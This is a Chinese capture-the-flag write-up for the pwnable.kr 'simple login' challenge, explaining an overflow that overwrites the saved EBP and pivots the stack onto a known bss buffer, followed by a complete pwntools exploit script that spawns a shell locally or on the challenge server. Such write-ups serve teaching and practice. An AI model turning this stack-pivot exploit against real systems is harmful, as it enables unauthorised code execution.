zoukankan      html  css  js  c++  java
  • 【pwnable.kr】 [simple login]

    Download : http://pwnable.kr/bin/login

    Running at : nc pwnable.kr 9003

    先看看ida里面的逻辑。

    比较重要的信息时input变量再bss段上,并且没有PIE保护,这样一来就有了一个已知的地址(这很重要

    需要输入的是信息的base64编码,而input变量中存储的是输入信息base解码后的内容。

    继续跟踪auth函数,发现了一个溢出。

    变量v4放在ebp-8的位置,而最多会复制a1长(a1<=0xC),因此会覆盖了EBP。

    尝试一下,输入P4NDA_P4NDA_的base64编码(UDROREFfUDROREFf)

    果然产生了段错误。

    然而仅仅覆盖了EBP,EBP的作用是调整栈帧结构。

    leave  ;mov esp ebp   pop ebp

    ret      ;pop eip

    因此,当利用溢出覆盖后,修改的是上一个栈的EBP也就是main函数栈,当main函数结束时会有问题。

    思路是将EBP覆盖成引导ESP指向包含SHELL地址的内存。进一步在ret时控制eip跳转。

    该位置可以选择input变量地址,因为该地址已知。

    #coding:utf-8
    
    from pwn import *
    
    debug = 1
    if debug:
        pro = process('./login')
    else:
        pro = remote('pwnable.kr',9003)
    
    #print pro.recvline()
    input_addr = 0x0811eb40
    sys_shell = 0x8049278
    
    payload = 'a'*4 + p32(sys_shell) + p32(input_addr)
    
    pro.send(payload.encode('base64'))
    pro.interactive()

  • 相关阅读:
    c数据结构 -- 线性表之 顺序存储结构 于 链式存储结构 (单链表)
    c数据结构 绪论
    c数据结构 -- 使用链表实现计数
    c数据结构 -- 链表的理解
    vue mvvm原理与简单实现 -- 上篇
    vue图书小案例
    排序
    裁剪图片
    下载图片
    图片缩放
  • 原文地址:https://www.cnblogs.com/p4nda/p/7280520.html
Copyright © 2011-2022 走看看